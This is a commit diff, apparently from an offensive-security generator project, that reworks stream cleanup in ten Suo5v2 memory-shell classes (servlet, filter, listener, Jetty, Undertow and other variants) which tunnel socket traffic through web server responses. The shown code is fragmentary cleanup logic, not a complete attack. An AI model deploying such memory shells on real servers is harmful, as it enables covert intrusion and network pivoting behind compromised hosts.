Skip to content

Commit 25e4086

Browse files
committed
fix: close respOutputStream in finally
1 parent b14c31b commit 25e4086

File tree

11 files changed

+78
-57
lines changed

11 files changed

+78
-57
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -346,10 +346,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
346346

347347
Thread t = null;
348348
boolean sendClose = true;
349+
final OutputStream scOutStream = socket.getOutputStream();
350+
final InputStream scInStream = socket.getInputStream();
351+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
349352
try {
350-
final OutputStream scOutStream = socket.getOutputStream();
351-
final InputStream scInStream = socket.getInputStream();
352-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
353353

354354
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
355355
t = new Thread(p);
@@ -381,26 +381,26 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
381381
}
382382
} catch (Exception ignored) {
383383
} finally {
384-
385384
try {
386385
socket.close();
387386
} catch (Exception ignored) {
388387
}
389-
390388
if (sendClose) {
391389
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
392390
}
391+
try {
392+
respOutputStream.close();
393+
} catch (Exception ignored) {
394+
}
393395
if (t != null) {
394396
t.join();
395397
}
396-
397398
}
398399
}
399400

400401
private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception {
401402
boolean newThread = false;
402403
boolean sendClose = true;
403-
404404
try {
405405
byte action = ((byte[]) dataMap.get("ac"))[0];
406406
switch (action) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -324,10 +324,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
324324

325325
Thread t = null;
326326
boolean sendClose = true;
327+
final OutputStream scOutStream = socket.getOutputStream();
328+
final InputStream scInStream = socket.getInputStream();
329+
final OutputStream respOutputStream = resp.getOutputStream();
327330
try {
328-
final OutputStream scOutStream = socket.getOutputStream();
329-
final InputStream scInStream = socket.getInputStream();
330-
final OutputStream respOutputStream = resp.getOutputStream();
331331

332332
Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId);
333333
t = new Thread(p);
@@ -359,15 +359,17 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
359359
}
360360
} catch (Exception ignored) {
361361
} finally {
362-
363362
try {
364363
socket.close();
365364
} catch (Exception ignored) {
366365
}
367-
368366
if (sendClose) {
369367
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
370368
}
369+
try {
370+
respOutputStream.close();
371+
} catch (Exception ignored) {
372+
}
371373
if (t != null) {
372374
t.join();
373375
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -329,10 +329,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
329329

330330
Thread t = null;
331331
boolean sendClose = true;
332+
final OutputStream scOutStream = socket.getOutputStream();
333+
final InputStream scInStream = socket.getInputStream();
334+
final OutputStream respOutputStream = resp.getOutputStream();
332335
try {
333-
final OutputStream scOutStream = socket.getOutputStream();
334-
final InputStream scInStream = socket.getInputStream();
335-
final OutputStream respOutputStream = resp.getOutputStream();
336336

337337
Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId);
338338
t = new Thread(p);
@@ -365,14 +365,18 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
365365
} catch (Exception ignored) {
366366
} finally {
367367

368+
368369
try {
369370
socket.close();
370371
} catch (Exception ignored) {
371372
}
372-
373373
if (sendClose) {
374374
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
375375
}
376+
try {
377+
respOutputStream.close();
378+
} catch (Exception ignored) {
379+
}
376380
if (t != null) {
377381
t.join();
378382
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -341,10 +341,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
341341

342342
Thread t = null;
343343
boolean sendClose = true;
344+
final OutputStream scOutStream = socket.getOutputStream();
345+
final InputStream scInStream = socket.getInputStream();
346+
final OutputStream respOutputStream = resp.getOutputStream();
344347
try {
345-
final OutputStream scOutStream = socket.getOutputStream();
346-
final InputStream scInStream = socket.getInputStream();
347-
final OutputStream respOutputStream = resp.getOutputStream();
348348

349349
Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId);
350350
t = new Thread(p);
@@ -376,19 +376,20 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
376376
}
377377
} catch (Exception ignored) {
378378
} finally {
379-
380379
try {
381380
socket.close();
382381
} catch (Exception ignored) {
383382
}
384-
385383
if (sendClose) {
386384
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
387385
}
386+
try {
387+
respOutputStream.close();
388+
} catch (Exception ignored) {
389+
}
388390
if (t != null) {
389391
t.join();
390392
}
391-
392393
}
393394
}
394395

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -379,10 +379,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
379379

380380
Thread t = null;
381381
boolean sendClose = true;
382+
final OutputStream scOutStream = socket.getOutputStream();
383+
final InputStream scInStream = socket.getInputStream();
384+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
382385
try {
383-
final OutputStream scOutStream = socket.getOutputStream();
384-
final InputStream scInStream = socket.getInputStream();
385-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
386386

387387
Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId);
388388
t = new Thread(p);
@@ -414,15 +414,17 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
414414
}
415415
} catch (Exception ignored) {
416416
} finally {
417-
418417
try {
419418
socket.close();
420419
} catch (Exception ignored) {
421420
}
422-
423421
if (sendClose) {
424422
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
425423
}
424+
try {
425+
respOutputStream.close();
426+
} catch (Exception ignored) {
427+
}
426428
if (t != null) {
427429
t.join();
428430
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -340,10 +340,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
340340

341341
Thread t = null;
342342
boolean sendClose = true;
343+
final OutputStream scOutStream = socket.getOutputStream();
344+
final InputStream scInStream = socket.getInputStream();
345+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
343346
try {
344-
final OutputStream scOutStream = socket.getOutputStream();
345-
final InputStream scInStream = socket.getInputStream();
346-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
347347

348348
Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId);
349349
t = new Thread(p);
@@ -375,15 +375,17 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
375375
}
376376
} catch (Exception ignored) {
377377
} finally {
378-
379378
try {
380379
socket.close();
381380
} catch (Exception ignored) {
382381
}
383-
384382
if (sendClose) {
385383
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
386384
}
385+
try {
386+
respOutputStream.close();
387+
} catch (Exception ignored) {
388+
}
387389
if (t != null) {
388390
t.join();
389391
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -335,10 +335,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
335335

336336
Thread t = null;
337337
boolean sendClose = true;
338+
final OutputStream scOutStream = socket.getOutputStream();
339+
final InputStream scInStream = socket.getInputStream();
340+
final OutputStream respOutputStream = resp.getOutputStream();
338341
try {
339-
final OutputStream scOutStream = socket.getOutputStream();
340-
final InputStream scInStream = socket.getInputStream();
341-
final OutputStream respOutputStream = resp.getOutputStream();
342342

343343
Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId);
344344
t = new Thread(p);
@@ -370,15 +370,17 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
370370
}
371371
} catch (Exception ignored) {
372372
} finally {
373-
374373
try {
375374
socket.close();
376375
} catch (Exception ignored) {
377376
}
378-
379377
if (sendClose) {
380378
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
381379
}
380+
try {
381+
respOutputStream.close();
382+
} catch (Exception ignored) {
383+
}
382384
if (t != null) {
383385
t.join();
384386
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -323,10 +323,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
323323

324324
Thread t = null;
325325
boolean sendClose = true;
326+
final OutputStream scOutStream = socket.getOutputStream();
327+
final InputStream scInStream = socket.getInputStream();
328+
final OutputStream respOutputStream = resp.getOutputStream();
326329
try {
327-
final OutputStream scOutStream = socket.getOutputStream();
328-
final InputStream scInStream = socket.getInputStream();
329-
final OutputStream respOutputStream = resp.getOutputStream();
330330

331331
Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId);
332332
t = new Thread(p);
@@ -358,15 +358,17 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
358358
}
359359
} catch (Exception ignored) {
360360
} finally {
361-
362361
try {
363362
socket.close();
364363
} catch (Exception ignored) {
365364
}
366-
367365
if (sendClose) {
368366
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
369367
}
368+
try {
369+
respOutputStream.close();
370+
} catch (Exception ignored) {
371+
}
370372
if (t != null) {
371373
t.join();
372374
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -326,10 +326,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
326326

327327
Thread t = null;
328328
boolean sendClose = true;
329+
final OutputStream scOutStream = socket.getOutputStream();
330+
final InputStream scInStream = socket.getInputStream();
331+
final OutputStream respOutputStream = resp.getOutputStream();
329332
try {
330-
final OutputStream scOutStream = socket.getOutputStream();
331-
final InputStream scInStream = socket.getInputStream();
332-
final OutputStream respOutputStream = resp.getOutputStream();
333333

334334
Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId);
335335
t = new Thread(p);
@@ -361,15 +361,17 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
361361
}
362362
} catch (Exception ignored) {
363363
} finally {
364-
365364
try {
366365
socket.close();
367366
} catch (Exception ignored) {
368367
}
369-
370368
if (sendClose) {
371369
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
372370
}
371+
try {
372+
respOutputStream.close();
373+
} catch (Exception ignored) {
374+
}
373375
if (t != null) {
374376
t.join();
375377
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -326,10 +326,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
326326

327327
Thread t = null;
328328
boolean sendClose = true;
329+
final OutputStream scOutStream = socket.getOutputStream();
330+
final InputStream scInStream = socket.getInputStream();
331+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
329332
try {
330-
final OutputStream scOutStream = socket.getOutputStream();
331-
final InputStream scInStream = socket.getInputStream();
332-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
333333

334334
Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId);
335335
t = new Thread(p);
@@ -361,15 +361,17 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
361361
}
362362
} catch (Exception ignored) {
363363
} finally {
364-
365364
try {
366365
socket.close();
367366
} catch (Exception ignored) {
368367
}
369-
370368
if (sendClose) {
371369
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
372370
}
371+
try {
372+
respOutputStream.close();
373+
} catch (Exception ignored) {
374+
}
373375
if (t != null) {
374376
t.join();
375377
}

0 commit comments

Comments
 (0)